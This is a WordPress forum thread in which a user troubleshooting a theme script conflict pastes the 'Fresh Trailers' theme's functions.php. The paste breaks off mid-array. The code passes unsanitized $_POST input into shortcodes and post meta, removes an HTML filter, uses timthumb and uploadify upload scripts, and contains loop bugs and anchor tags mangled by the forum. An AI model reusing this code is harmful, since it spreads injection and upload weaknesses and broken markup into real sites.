Forum Replies Created

Viewing 8 replies - 1 through 8 (of 8 total)
  • Hello mpraetzel,

    I am using the Innovation +2 Science theme that uses a custom post, that you have to manually add images to the blog section of the theme. I cant find “post_thumbnail” so that I can add the function <?php tern_wp_youtube_thumb(); ?>,anywhere in the template files. Do you have any suggestions on how to solve this problem?

    Thread Starter elbeomar

    (@elbeomar)

    I have tried everything from the 3.3 troubleshooting guide

    Thread Starter elbeomar

    (@elbeomar)

    After more research I found out that it is one of my themes jscripts that is causing the problem:

    There were 9 jscripts in the theme so I took them all out and put them back in- one by one until I found the one that was keeping the ajax from functioning.

    Now that I found which one can someone give me clue as to what to look for and what I should do next.

    thanks in advance,
    elbeomar

    Thread Starter elbeomar

    (@elbeomar)

    I am using Fresh Trailer,here is the function.php code

    <?php
    if ( function_exists('register_sidebar') )
    register_sidebar(array('name'=>'Single - Sidebar1',
    'before_widget' => '<div id="%1$s" class="widget %2$s">',
    'after_widget' => '</div></div></div></div><div class="rounded_corners_bottom"></div>',
    'before_title' => '<h2>',
    'after_title' => '</h2><div class="rounded_corners_top"></div> <div class="rounded_corners_module border_light"><div class="promo_style_list video_list"><div class="promo_style_list">',
    ));
    register_sidebar(array('name'=>'Frontpage/Archive - Sidebar 2',
    'before_widget' => '<div id="%1$s" class="widget %2$s">',
    'after_widget' => '</div></div></div></div><div class="rounded_corners_bottom"></div>',
    'before_title' => '<h2>',
    'after_title' => '</h2><div class="rounded_corners_top"></div> <div class="rounded_corners_module border_light"><div class="promo_style_list video_list"><div class="promo_style_list">',
    ));
    register_sidebar(array('name'=>'Footer - Sidebar 3',
    'before_widget' => '<div class="widget box">',
    'after_widget' => '</div>',
    'before_title' => '<h3>',
    'after_title' => '</h3>',
    ));
    ?>
    <?php
    function widget_myuniquewidget($args) {
         extract($args);
    ?>
    	<?php echo $before_widget; ?>
        <?php echo $before_title . 'Powered by Fresh Lime Soda' . $after_title; ?>
        This theme was designed by <a href="https://goo.gl/LWRC">Fresh Lime Soda</a> and visit us for more premium themes.
        <?php echo $after_widget; ?>
    <?php
    }
    register_sidebar_widget( 'Fresh Lime Soda', 'widget_myuniquewidget' );
    ?>
    <?php
    // GLOBAL SETTINGS FOR SIDEBAR
    define("GREETING", "Hello you.", true);
    define("SHOW_TABS_ON_SIDEBAR", true, true);
    define("SHOW_SEARCH_ON_SIDEBAR", true, true);
    define("LOCATION",  get_bloginfo('template_directory'), true);
    ?>
    <?php
    // GLOBAL SETTINGS FOR RATINGS AND COMMENT POST PROCESSING
    global $starOn, $starOff;
    $loc = get_bloginfo('template_directory');
    $maxRating = (!get_settings("ftoptions_max_ratings")) ? 5 : get_settings("ftoptions_max_ratings");
    $starOn = $loc . "/images/starOn.gif";
    $starOff = $loc . "/images/starOff.gif";
    add_action('preprocess_comment', 'fix_ratingShortCode');
    add_filter('comment_text', 'do_shortcode');
    remove_filter('comment_text', 'wptexturize');
    add_action('pre_comment_content','prep_userRatings');
    add_action('comment_post', 'save_userRatings');
    // FILTER TO ALLOW HTML IN COMMENT DESCRIPTION
    remove_filter( 'pre_term_description', 'wp_filter_kses' );
    // FUNCTION TO SHOW RATINGS IN COMMENTS - RATINGS SHORTCODE
    function fix_ratingShortCode($comment)
    {
    	//ob_flush();
    	ob_clean();
    	return $comment;
    }
    function showRating_shortcode( $atts )
    {
    	ob_start();
    	global $wpdb, $starOn, $starOff, $maxRating;
    	extract(shortcode_atts(array('value' => '0',), $atts));
    	$template = get_bloginfo('template_directory');
    	$ratingString = "<div style='margin-bottom: 5px;'>";
    	for($i==1; $i<$value; $i++)
    	{ $ratingString .= "<img style='border: 0px;' src='".$starOn."'>";}
    	for($i==$rating; $i<$maxRating; $i++)
    	{ $ratingString .= "<img style='border: 0px;' src='".$starOff."'>"; }
    	$ratingString .= "</div>";
    	echo $ratingString;
    	return;
    }
    add_shortcode('showRating', 'showRating_shortcode');
    // FUNCTION TO ADD RATINGS SHORTCODE IN COMMENTS POST PROCESSING
    function prep_userRatings($comment_content)
    {
    	global $wpdb, $starOn, $starOff, $maxRating;
    	if($_POST["rating_stars_value"] != 0)
    	{
    		$ratingString = "[showRating value='".$_POST["rating_stars_value"]."']";
    		$comment_content = $ratingString . "" . $comment_content;
    	}
    	return $comment_content;
    }
    // FUNCTION TO SHOW USER RATINGS
    function showUserRatings($showtitle=true)
    {
    	global $post;
    	global $starOn, $starOff, $maxRating;
    	$rating = get_post_meta($post->ID, "user_rating_stars_value", $single = true);
    	showRating_shortcode(array("value"=>$rating));
    	if($showtitle) { echo "<div class=super_light>Average of " . get_post_meta($post->ID, "user_rating_stars_value_count", $single = true) . " Ratings</div>"; }
    }
    // FUNCTION TO SHOW ADMIN RATINGS
    function showRatings($showtitle=true)
    {
    	global $post;
    	global $starOn, $starOff, $maxRating;
    	$rating = get_post_meta($post->ID, "rating_stars_value", $single = true);
    	showRating_shortcode(array("value"=>$rating));
    	if($showtitle) { echo "<div class=super_light>Our Rating</div>"; }
    	return;
    }
    // SAVE COMMENTS RATINGS TO THE POST META VALUES
    function save_userRatings($comment_id)
    {
    	global $starOn, $starOff, $maxRating;
    	$comment = get_commentdata($comment_id, 1, true);
    	if($_POST["rating_stars_value"] == 0) 	{ return; }
    	$post_id = $comment["comment_post_ID"];
    	$count = 1;
    	if(get_post_meta($post_id, 'user_rating_stars_value_count') == "")
    	{
    		add_post_meta($post_id, 'user_rating_stars_value_count', $count, true);
    	}
    	elseif(get_post_meta($post_id, 'user_rating_stars_value_count', true) != "")
    	{
    		$count = get_post_meta($post_id, 'user_rating_stars_value_count', true)+1;
    		update_post_meta($post_id, 'user_rating_stars_value_count', $count);
    	}
    	$data = $_POST["rating_stars_value"];
    	if(get_post_meta($post_id, 'user_rating_stars_value') == "")
    	{
    		add_post_meta($post_id, 'user_rating_stars_value', $data, true);
    	}
    	elseif(get_post_meta($post_id, 'user_rating_stars_value', true) != "")
    	{
    		$currentRating = get_post_meta($post_id, 'user_rating_stars_value', true);
    		$data = ceil(($data+$currentRating)/$count);
    		update_post_meta($post_id, 'user_rating_stars_value', $data);
    	}
    	return;
    }
    // GLOBAL FUNCTION TO TRIM STRING
    function trimThis($value, $size=50)
    {
    	$chars=$size;
    	$string=$value;
    	$elli='[..]';
    	list($new_string, $elli)= explode("\n", wordwrap($string, $chars, "\n", false));
    	$newString = ( $elli ) ? $new_string.' [..]' : $new_string;
    	echo $newString;
    	return;
    	if(strlen($value) > 50)
    	{
    		$newvalue = substr($value, 0, $size) . " [..]";
    	}
    	else
    	{
    		$newvalue = $value;
    	}
    	echo $newvalue;
    }
    // GLOBAL FUNCTION TO DISPLAY BREADCRUMBS
    function wp_breadcrumb() {
    	global $cat,$s,$post,$wp_locale;
    	if ( get_the_category() ) $category = get_the_category();
    	if ( is_tag() ) $tag = get_term($tag_ID, 'post_tag', OBJECT, 'display');
    	if ( is_author() ) $userdata = get_userdata($author);
    	?><div id="breadcrumb">
    <ul><li class="start"><a>/" title="<?php bloginfo('name'); ?>"><?php echo __('Home'); ?></a><?php
    	if ( have_posts() ) :
    		// Display breadcrumb for category and sub-category archive
    		if ( is_category() ) {?>
    <li><?php echo substr(get_category_parents($cat,true,'</li>
    <li>'),0,-9); ?></li>
    <?php }
    
    		// Display breadcrumb for calendar archive
    		elseif ( is_day() ) {?>
    <li><a>"><?php the_time('Y'); ?></a></li>
    <li><a>"><?php the_time('F'); ?></a></li>
    <li><a>"><?php the_time('d'); ?></a></li>
    <?php }
    		elseif ( is_month() ) {?>
    <li><a>"><?php the_time('Y'); ?></a></li>
    <li><a>"><?php the_time('F'); ?></a></li>
    <?php }
    		elseif ( is_year() ) {?>
    <li><a>"><?php the_time('Y'); ?></a></li>
    <?php }
    
    		// Display breadcrumb for single post and attachments
    		elseif ( is_single() ) {?>
    <li><?php echo substr(get_category_parents($category[0]->cat_ID,true,'</li>
    <li>'),0,-9); ?></li>
    <?php if($post->post_parent ) {?>
    <li><a>post_parent); ?>"><?php echo get_the_title($post->post_parent); ?></a></li>
    <?php } ?>
    <li><a>" title="<?php the_title(); ?>"><?php the_title(); ?></a></li>
    <?php }
    
    		// Display breadcrumb for pages
    		elseif ( is_page() ) {if ( $post->post_parent ) {?>
    <li><a>post_parent); ?>"><?php echo get_the_title($post->post_parent); ?></a></li>
    <?php } ?>
    <li><a>" title="<?php the_title(); ?>"><?php the_title(); ?></a></li>
    <?php }
    
    		// Display breadcrumb for search result page
    		elseif ( is_search() ) {?>
    <li><a>" title="<?php echo __('Search result for') . ' ' . wp_specialchars(get_query_var('s')); ?>"><?php echo __('Search result for') . ' ' . wp_specialchars(get_query_var('s')); ?></a></li>
    <?php }
    
    		// Display breadcrumb for tag archive
    		elseif ( is_tag() ) {?>
    <li><a>" title="<?php echo __('Archive for tag') . ' ' . $tag->name; ?>"><?php echo __('Archive for tag') . ' ' . $tag->name; ?></a></li>
    <?php }
    
    		// Display breadcrumb for author archive
    		elseif ( is_author() ) {?>
    <li><a>" title="<?php echo __('Article posted by') . ' ' . $userdata->display_name; ?>"><?php echo __('Article posted by') . ' ' . $userdata->display_name; ?></a></li>
    <?php }
    
    		// Display breadcrumb for page which got split
    		if ( get_query_var('page') ) {?>
    <li><a>" title="<?php echo __('Part'); ?> <?php echo get_query_var('page'); ?>"><?php echo __('Part'); ?> <?php echo get_query_var('page'); ?></a></li>
    <?php }
    
    		// Display breadcrumb for paged archives
    		if ( get_query_var('paged') ) {?>
    <li><a>" title="<?php echo __('Page'); ?> <?php echo get_query_var('paged'); ?>"><?php echo __('Page'); ?> <?php echo get_query_var('paged'); ?></a></li>
    <?php }
    	endif;
    	?></ul>
    	</div>
    	<?php
    }
    ?>
    <?php
    // FUNCTION FOR ADDING META BOX TO THE ADMIN PANEL - NEW POST SECTION
    add_action('admin_menu', 'create_meta_box');
    add_action('save_post', 'save_postdata');
    $new_meta_boxes =  array(
    "thumbnail" => array(
    "name" => "thumbnail_image",
    "std" => "",
    "title" => "<p>THUMBNAIL IMAGE URL</p>",
    "upload" => "true",
    "description" => "Use UPLOAD button to upload an image, or paste the URL here for external image. Only JPG, PNG or GIF allowed and minimum size is 300x200px"),
    "background" => array(
    "name" => "background_image",
    "std" => "",
    "upload" => "true",
    "title" => "<p>BACKGROUND IMAGE URL</p>",
    "description" => "Use UPLOAD button to upload an image, or paste the URL here for external image. Only JPG, PNG or GIF allowed. Only JPG, PNG or GIF allowed and minimum size is 800x600px"),
    "url" => array(
    "name" => "video_url",
    "std" => "",
    "title" => "<p>DIRECT URL FOR THE VIDEO</p>",
    "description" => "Using the <img src='images/media-button-video.gif'> \"<em>Add Video</em>\" button, upload an video -OR- paste the URL here for external video."),
    "embded" => array(
    "name" => "video_embed",
    "std" => "",
    "title" => "<span style='color: #336699;'>-OR-</span><p>EMBED CODE THE VIDEO</p>",
    "description" => "Copy paste the embded code you got from the website.")
    );
    function new_meta_boxes()
    {
    	global $post, $new_meta_boxes;
        $video = "";
    	global $starOn, $starOff, $maxRating;
    	?>
    	<script src="<?php bloginfo('template_directory'); ?>/js/jquery-1.3.2.min.js" type="text/javascript"></script>
    	<script src="<?php bloginfo('template_directory'); ?>/js/swfobject.js" type="text/javascript"></script>
    	<script src="<?php bloginfo('template_directory'); ?>/js/jquery.uploadify.v2.1.0.min.js" type="text/javascript"></script>
    	<?php
    	if(!function_exists('the_ratings'))
    	{
    		echo '<div style="background: #f9f9f9; border: 1px solid #ccc; padding: 10px; margin-bottom: 5px;">';
    		echo '<b>RATE THIS VIDEO</b>Rate the video as you would like other to see, there is a comlete different module to collect visitors ratings.';
    		echo'<input style="display: none;" type="text" name="rating_stars_value" id="rating_stars_value" value="" style="width: 100%;" />';
    		echo '<div id="rating_stars" style="margin-top: 5px;" title="Rate Me...">';
    		for($i=1; $i<=$maxRating; $i++)
    		{
    			echo "<img style='cursor: pointer;' class='rating_stars' id='rating_stars_".$i."' onMouseOver='highlight(this);' onMouseOut='unhighlight(this);' onClick='set(this)' src='".$starOff."'>";
    		}
    		echo '</div>';
    		echo '</div>';
    		?>
    		<script type="text/javascript">
    		var currentRating=<?php if(get_post_meta($post->ID, 'rating_stars_value', true)) { echo get_post_meta($post->ID, 'rating_stars_value', true); } else { echo "0"; } ?>;
    		setRating("rating_stars", currentRating);
    		var maxRating=<?php echo $maxRating; ?>;
    		function setRating(tempid, rate)
    		{
    			if(currentRating != 0) { jQuery("#rating_stars").attr("class", "disabled"); }
    			for(i=1; i<=maxRating; i++)
    			{
    				$("#"+ tempid + "_"+ i).attr("src", "<?php echo $starOff; ?>");
    			}
    			for(i=1; i<=rate; i++)
    			{
    				$("#"+ tempid + "_"+ i).attr("src", "<?php echo $starOn; ?>");
    			}
    			$("#rating_stars_value").val(rate);
    			return;
    		}
    		function set(e)
    		{
    			var rate_array=e.id.split("_");
    			var current = rate_array[rate_array.length-1];
    			tempid = jQuery(e).attr("class");
    			jQuery("#rating_stars").attr("class", "disabled");
    			setRating("rating_stars", current);
    			return;
    		}
    		function highlight(e)
    		{
    			tempid = jQuery(e).attr("class");
    			disabled = jQuery("#rating_stars").attr("class");
    			if(disabled != "disabled")
    			{
    				var rate_array=e.id.split("_");
    				var current = rate_array[rate_array.length-1];
    				for(i=1; i<=current; i++)
    				{
    					jQuery("#"+ tempid + "_"+ i).attr("src", "<?php echo $starOn; ?>");
    				}
    			}
    		}
    		function unhighlight(e)
    		{
    			tempid = jQuery(e).attr("class");
    			disabled = jQuery("#rating_stars").attr("class");
    			if(disabled != "disabled")
    			{
    				var rate_array=e.id.split("_");
    				var current = rate_array[rate_array.length-1];
    				for(i=1; i<=current; i++)
    				{
    					jQuery("#"+ tempid + "_"+ i).attr("src", "<?php echo $starOff; ?>");
    				}
    			}
    		}
    		</script>
    		<?php
    	}
    	foreach($new_meta_boxes as $meta_box)
    	{
    		echo '<div style="background: #f9f9f9; border: 1px solid #ccc; padding: 10px; margin-bottom: 5px;">';
    		$meta_box_value = htmlspecialchars(get_post_meta($post->ID, $meta_box['name'].'_value', true));
    		if($meta_box_value == "")
    		$meta_box_value = $meta_box['std'];
    		echo'<input type="hidden" name="'.$meta_box['name'].'_noncename" id="'.$meta_box['name'].'_noncename" value="'.wp_create_nonce( plugin_basename(__FILE__) ).'" />';
    		echo'<p><b>'.$meta_box['title'].'</b></p>';
    		echo'<input type="text" id="'.$meta_box['name'].'_value" name="'.$meta_box['name'].'_value" value="'.$meta_box_value.'" style="width: 100%;" />';
    		if($meta_box["upload"] == true)
    		{
    			echo '<div id="'.$meta_box["name"].'fileQueue"></div>';
    			echo '<input type="file" name="'.$meta_box["name"].'_upload" id="'.$meta_box["name"].'_upload" />';
    		}
    		echo'<p><label for="'.$meta_box['name'].'_value">'.$meta_box['description'].'</label></p>';
    		echo '</div>';
    		if($meta_box_value != "") { $video = get_post_meta($post->ID, $meta_box['name'].'_value', true); }
    	}
    	?>
    	<script type="text/javascript">
    	$(document).ready(function() {
    		$("#thumbnail_image_upload").uploadify({
    			'uploader'       : '<?php bloginfo('template_directory'); ?>/uploadify.swf',
    			'script'         : '<?php bloginfo('template_directory'); ?>/uploadify.php',
    			'cancelImg'      : '<?php bloginfo('template_directory'); ?>/images/cancel.png',
    			'folder'         : '../wp-content/themes/fresh_trailers_v2/uploads',
    			'buttonText'		 : 'Upload',
    			'fileExt'		 : '*.jpg;*.png;*.JPG;*.PNG;*.gif;*.GIF',
    			'queueID'        : 'thumbnail_imagefileQueue',
    			'onComplete'	 :
    				function completed(event, qid, obj, response, data)
    				{
    					if(response==1)
    					{
    						$("#thumbnail_image_value").val(obj["filePath"]);
    					}
    					else
    					{
    						alert("Server Response: " + response + "\nThere was a problem uploading the file, please try again later");
    					}
    					return;
    				},
    			'auto'           : true,
    			'multi'          : false
    		});
    
    		$("#background_image_upload").uploadify({
    			'uploader'       : '<?php bloginfo('template_directory'); ?>/uploadify.swf',
    			'script'         : '<?php bloginfo('template_directory'); ?>/uploadify.php',
    			'cancelImg'      : '<?php bloginfo('template_directory'); ?>/images/cancel.png',
    			'folder'         : '../wp-content/themes/fresh_trailers_v2/cache',
    			'fileExt'		 : '*.jpg;*.png;*.JPG;*.PNG;*.gif;*.GIF',
    			'buttonText'		 : 'Upload',
    			'queueID'        : 'background_imagefileQueue',
    			'onComplete'	 :
    				function completed(event, qid, obj, response, data)
    				{
    					if(response==1)
    					{
    						$("#background_image_value").val(obj["filePath"]);
    					}
    					else
    					{
    						alert("Server Response: " + response + "\nThere was a problem uploading the file, please try again later");
    					}
    					return;
    				},
    			'auto'           : true,
    			'multi'          : false
    		});
    	});
    	</script>
    	<?php
    	if($video != "") { echo "<p><b>Preview:</b></p>"; get_post_video(0, true);}
    }
    function create_meta_box()
    {
    	global $theme_name;
    	if ( function_exists('add_meta_box') )
    	{
    		add_meta_box( 'new-meta-boxes', 'Fresh>Trailers Options - Setup your Videos and Images', 'new_meta_boxes', 'post', 'normal', 'high' );
    	}
    }
    function save_postdata( $post_id )
    {
    	global $post, $new_meta_boxes;
    	foreach($new_meta_boxes as $meta_box)
    	{
    		// Verify
    		if ( !wp_verify_nonce( $_POST[$meta_box['name'].'_noncename'], plugin_basename(__FILE__) ))
    		{
    			return $post_id;
    		}  
    
    		if ( 'page' == $_POST['post_type'] )
    		{
    			if ( !current_user_can( 'edit_page', $post_id ))
    				return $post_id;
    		}
    		else
    		{
    			if ( !current_user_can( 'edit_post', $post_id ))
    			return $post_id;
    		}  
    
    		if(!function_exists('the_ratings'))
    		{
    			$data = $_POST['rating_stars_value'];
    			add_post_meta($post_id, 'rating_stars_value', $data, true);
    			if(get_post_meta($post_id, 'rating_stars_value') == "")
    				add_post_meta($post_id, 'rating_stars_value', $data, true);
    			elseif($data != get_post_meta($post_id, 'rating_stars_value_value', true))
    				update_post_meta($post_id, 'rating_stars_value', $data);
    			elseif($data == "")
    				delete_post_meta($post_id, 'rating_stars_value', get_post_meta($post_id, 'rating_stars_value', true));
    		}
    
    		$data = $_POST[$meta_box['name'].'_value'];
    		if(get_post_meta($post_id, $meta_box['name'].'_value') == "")
    			add_post_meta($post_id, $meta_box['name'].'_value', $data, true);
    		elseif($data != get_post_meta($post_id, $meta_box['name'].'_value', true))
    			update_post_meta($post_id, $meta_box['name'].'_value', $data);
    		elseif($data == "")
    			delete_post_meta($post_id, $meta_box['name'].'_value', get_post_meta($post_id, $meta_box['name'].'_value', true));
    	}
    }
    ?>
    <?php
    function is_type_page()
    {
    	// Check if the current post is a page
    	global $post;
    	if ($post->post_type == 'page') {
    		return true;
    	} else {
    		return false;
    	}
    }
    function get_post_image( $iImageNumber = 0, $iSize = "thumbnail", $bPrint = false )
    {
    	global $post;
    	global $wpdb;
    	$home = get_bloginfo("url");
    	$attachment_id = $wpdb->get_var("SELECT ID FROM $wpdb->posts WHERE post_parent = '$post->ID' AND post_status = 'inherit' AND ( post_mime_type = 'image/gif' OR post_mime_type = 'image/jpeg' OR post_mime_type = 'image/png' ) AND post_type='attachment' ORDER BY post_date ASC LIMIT 1");
    
    	$szPostContent = wp_get_attachment_image($attachment_id, $iSize, false);
    	$szSearchPattern = '/\<img.+?src="(.+?)".+?\/>/';
    	preg_match( $szSearchPattern, $szPostContent, $images );
    	$pics = $images[1];
    	if($pics == "")
    	{
    		$szPostContent = $post->post_content;
    		$szSearchPattern = '/\<img.+?src="(.+?)".+?\/>/';
    		preg_match( $szSearchPattern, $szPostContent, $images );
    		$pics = $images[1];
    	}
    	if($pics == "") {
    		$loc = get_bloginfo('template_directory');
    		$loc = get_template();
    		$pics = $loc . "/images/defaultVideo.png";
    	}
    
    	$pics = str_replace($home, "", $pics);
    
    	if ( $bPrint == true && !empty($pics) ) echo "<img src='$pics'>"; else return $pics;
    }
    function get_post_video_text($iVideoNumber = 0)
    {
    	global $post;
    	global $wpdb;
    	$image = get_post_image(0, "thumbnail", false);
    	if(get_post_meta($post->ID, "video_url_value", $single = true) != "")
    	{
    		$video = get_post_meta($post->ID, "video_url_value", $single = true);
    		?>
    		<h3>Share this Video</h3>
    
    		<textarea style="height: 100px; width: 90%;"><object><embed type="application/x-shockwave-flash" src="<?php bloginfo('template_directory'); ?>/player.swf" width="478px" height="290px" id="player" name="player" quality="high" allowfullscreen="true" allowscriptaccess="always" wmode="opaque" flashvars="file=<?php echo $video; ?>"></embed></object></textarea>
    
    		<?php
    	}
    	if(get_post_meta($post->ID, "video_embed_value", $single = true) != "")
    	{
    		$video = get_post_meta($post->ID, "video_embed_value", $single = true);
    		echo "<h3>Share this Video</h3><textarea style=\"width:  90%; height: 100px;\">$video</object></textarea>
    
    ";
    	}
    }
    function get_post_video( $iVideoNumber = 0, $showImage = false)
    {
    	global $post;
    	global $wpdb;
    	$style = "";
    	$width = (!get_settings("ftoptions_video_width")) ? '750' : get_settings("ftoptions_video_width");
    	$height = (!get_settings("ftoptions_video_height")) ? '350' : get_settings("ftoptions_video_height");
    	$videoBg = get_settings("ftoptions_video_bg");
    
    	if($videoBg == "Poster Image from the post")
    	{
    		$postImage = get_post_meta($post->ID, "background_image_value", $single = true);
    		// If not background image found, then pull the post image
    		if($postImage == "")
    		{
    			$postImage = get_post_image(0, "full", false);
    		}
    		$postImage = get_bloginfo('template_directory') . "/timthumb.php?src=" . $postImage . "&h=".$height."&zc=0";
    		$style = "background: #000 url(".$postImage.") repeat-x; width: 100%; z-index: 12345;";
    	}
    	echo "<div id='featured'>";
    		echo "<div id='slideshow' style='padding: 0px; text-align: center; margin: auto auto; ".$style."'>";
    			if(get_post_meta($post->ID, "video_url_value", $single = true) != "")
    			{
    				$video = get_post_meta($post->ID, "video_url_value", $single = true);
    				echo "<div id='preview' style='padding: 0px; width: ".$width."px; height: ".$height."px;'></div>";
    				?>
    				<script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/swfobject.js"></script>
    				<script type='text/javascript'>
    				var flashvars = false;
    				var params = {
    				  menu: "false",
    				  flashvars: "file=<?php echo $video; ?>&allowfullscreen=true&allowscriptaccess=true&wmode=opaque"
    				};
    				var attributes = {
    				  id: "preview",
    				  name: "preview"
    				};
    
    				swfobject.embedSWF("<?php bloginfo('template_directory'); ?>/player.swf", "preview", "<?php echo $width; ?>", "<?php echo $height;?>", "9.0.0","expressInstall.swf", flashvars, params, attributes);
    
    				</script>
    				<?php
    			}
    			if(get_post_meta($post->ID, "video_embed_value", $single = true) != "")
    			{
    				$video = get_post_meta($post->ID, "video_embed_value", $single = true);
    				/* Change Width and Height of the Video */
    				$originalString = "";
    				$originalString = str_replace("", "", $video);
    				$patterns[0] = '/width="(\d+)"/';
    				$replacements[0] = 'wmode="opaque" width="'.$width.'px"';
    				$patterns[1] = '/width=(\d+)/';
    				$replacements[1] = 'wmode="opaque" width="'.$width.'px"';
    				$patterns[2] = '/WIDTH="(\d+)"/';
    				$replacements[2] = 'wmode="opaque" width="'.$width.'px"';
    				$patterns[3] = '/WIDTH=(\d+)/';
    				$replacements[3] = 'wmode="opaque" width="'.$width.'px"';
    				$patterns[4] = '/height="(\d+)"/';
    				$replacements[4] = 'height="'.$height.'px"';
    				$patterns[5] = '/height=(\d+)/';
    				$replacements[5] = 'height="'.$height.'px"';
    				$patterns[6] = '/HEIGHT="(\d+)"/';
    				$replacements[6] = 'height='.$height.'px';
    				$patterns[7] = '/HEIGHT=(\d+)/';
    				$replacements[7] = 'height='.$height.'px';
    				$video = preg_replace($patterns, $replacements, $originalString);
    				$video = str_replace("<embed", "<embed id='player'", $video);
    				echo "<div id='preview' style='padding: 0px; width: ".$width."px; height: ".$height."px;'>".$video."</div>";
    			}
    		echo "</div>";
    	echo "</div>";
    	return;
    }
    function get_custom_field_value( $szKey, $bPrint = false)
    {
    	global $post;
    	$szValue = get_post_meta( $post->ID, $szKey, true );
    	if ( $bPrint == false ) return $szValue; else echo $szValue;
    }
    function wp_echoTwitter($username){
         include_once(ABSPATH.WPINC.'/rss.php');
         //$tweet = fetch_rss("https://search.twitter.com/search.atom?q=from:" . $username . "&rpp=1");
    	 $tweet = fetch_rss("https://twitter.com/statuses/user_timeline/9813662.rss");
    	 for($i==0; $i<sizeOf($tweet->items); $i++)
    	 {
    		echo $tweet->items[$i]['title'] . "";
    	 }
    }
    // FUNCTION TO DISPLAY RELATED POSTS
    function related_posts_shortcode( $atts ) {
    	extract(shortcode_atts(array(
    	    'limit' => '5',
    	), $atts));
    		$template = get_bloginfo('template_directory');
    	global $wpdb, $post, $table_prefix;
    
     		// Get tags
    		$tags = wp_get_post_tags($post->ID);;
    		$tagsarray = array();
    		foreach ($tags as $tag) {
    			$tagsarray[] = $tag->slug;
    		}
    		$tagslist = implode(",", $tagsarray);
    
    //$tags = "'" . $tagslist . "'";
    $tags = $tagslist;
    
    if ($tags) {
      echo '<h2>You might also find this interesting...</h2>';
      echo '<div class="rounded_corners_top"></div>';
      echo '<div class="rounded_corners_module border_light">';
      echo '<div class="promo_style_list video_list">';
      echo '<div class="promo_style_list">';
    
      $args=array(
        'tag' => $tags,
        'post__not_in' => array($post->ID),
        'showposts'=>5,
        'caller_get_posts'=>1
       );
      $my_query = new WP_Query($args);
      if( !$my_query->have_posts() ) {
    	    //echo "Display recent videos as no related posts found";
      $args=array(
        'showposts'=>5,
        'caller_get_posts'=>1
       );
    	    $my_query = new WP_Query($args);
      }
        while ($my_query->have_posts()) : $my_query->the_post(); ?>
    									<?php $loc = get_bloginfo('template_url'); ?>
    									<?php
    									$postImage = get_post_meta($post->ID, "thumbnail_image_value", $single = true);
    									if($postImage == "")
    									{
    										$postImage = get_post_image(0, "full", false);
    									}
    									$postImage = get_bloginfo('template_directory') . "/timthumb.php?src=" . $postImage . "&h=58&w=89&zc=1";
    									?>
    									<div class="promo_style_item">
    										<a>">
    											<span class="video_thumb_container promo_style_image">
    												<?php if($postImage) { ?><img width=89px height=58px src="<?php echo $postImage; ?>"><?php } ?>
    												<span class="video_thumb_cover"><span class="">?</span></span>
    											</span>
    										</a>
    										<div class="promo_style_details">
    											<div style="line-height: normal; margin-bottom: 3px;">
    												<a>"><?php echo substr(get_the_title(), 0, 60); ?></a>
    											</div> 
    
    											<!-- Show Ratings -->
    											<?php $u_time = get_the_time('l, F j, Y'); ?>
    											<div class="ratings"><?php if(function_exists('the_ratings')) { the_ratings(); } else { showRatings(false); } ?></div>
    										</div>
    										<div class="clear"><span class="nodisp">?</span></div>
    									</div>
          <?php
        endwhile;
      //}
      //else
    //	{
    //	  echo "No Related Posts Found ...";
    //	}
      echo '</div>';
      echo '</div>';
      echo '</div>';
      echo '<div class="rounded_corners_bottom"></div>';
    }
    	return;
    }
    add_shortcode('related_posts', 'related_posts_shortcode');
    function add_lightbox_rel($content)
    {
    	global $post;
    	$pattern[0] = "/<a(.*?)href=('|\")([A-Za-z0-9\/_\.\~\:-]*?)(\.bmp|\.gif|\.jpg|\.jpeg|\.png)('|\")([^\>]*?)>/i";
    	$pattern[1] = "/<a(.*?)href=('|\")([A-Za-z0-9\/_\.\~\:-]*?)(\.bmp|\.gif|\.jpg|\.jpeg|\.png)('|\")(.*?)(rel=('|\")lightbox(.*?)('|\"))([ \t\r\n\v\f]*?)((rel=('|\")lightbox(.*?)('|\"))?)([ \t\r\n\v\f]?)([^\>]*?)>/i";
    	//$replacement[0] = '<a$1href=$2$3$4$5$6 rel="lightbox['.$post->ID.']">';
    	$replacement[0] = '<a$1href=$2$3$4$5$6 class="thickbox" title="'.$post->title.'">';
    	$replacement[1] = '<a$1href=$2$3$4$5$6$7>';
    	$content = preg_replace($pattern, $replacement, $content);
    	return $content;
    }
    function unhtmlentities ($string) {
       $trans_tbl =get_html_translation_table (HTML_ENTITIES );
       $trans_tbl =array_flip ($trans_tbl );
       return strtr ($string ,$trans_tbl );
    }
    ?>
    <?php
    $themename = "Fresh Trailers v2";
    $shortname = "ftoptions";
    //display all categories that have at least one post, separate each category with comma+space, put each category in quotes
    //$categories=get_categories();
    //var_dump($categories);
    global $newcat;
    $newcat = array();
    $pages=get_pages();
    $newpages = array();
    /*
    if ($categories)
    {
    	foreach($categories as $category)
    	{
    		$tempcat = $category->name;
    		array_push($newcat, $tempcat);
    	}
    }
    */
    if ($pages)
    {
    	foreach($pages as $page123)
    	{
    		$temppage = $page123->post_title;
    		array_push($newpages, $temppage);
    	}
    }
    $options = array (
    array(  "name" => "Logo Options",
            "type" => "info"),
    array(  "type" => "open"),
    array(  "name" => "Would you like to use a logo?",
            "desc" => "Place your logo in <code><WordPress Install Folder>/wp-content/themes/fresh_trailers_v2/images/logo.png</code> folder in order for logo to be displayedIf you don't see an image below then it means that you have not placed the file at the correct location.",
            "id" => $shortname."_blog_logo",
    		"classname" => "",
            "type" => "image"),
    array(    "type" => "close"),
    array(  "name" => "Select a Color Scheme<small style='font-weight: normal; font-size: 70%; '>Light is the default white background scheme, while Dark is with Black background.</small>", "type" => "info"),
    array(  "type" => "open"),
    array(  "type" => "heading"),
    array(  "name" => "Select a Different Color Scheme?",
            "desc" => "Default Scheme will be used if nothing selected",
            "id" => $shortname."_color_scheme",
    		"options" => array('light', 'dark'),
            "std" => "Yes",
            "type" => "select"),
    array(    "type" => "close"),
    array(  "name" => "Navigation and Front Page Options", "type" => "info"),
    array(  "type" => "open"),
    array(  "type" => "heading"),
    array(  "name" => "Maximum Number of Categories to be displayed before showing the MORE menu",
            "desc" => "Maximum Number of Categories to be displayed before showing the MORE menu",
            "id" => $shortname."_max_categories",
            "type" => "text",
            "std" => "6"),
    array(  "name" => "Maximum Ratings Value",
            "desc" => "Maximum value of Ratings you want to be rated",
            "id" => $shortname."_max_ratings",
            "type" => "text",
            "std" => "5"),
    array(  "name" => "Featured Category Name",
            "desc" => "This is the category for the slider on the frontpage.",
            "id" => $shortname."_featured_category_name",
    		"options" => $newcat,
    		"misc" => "categories",
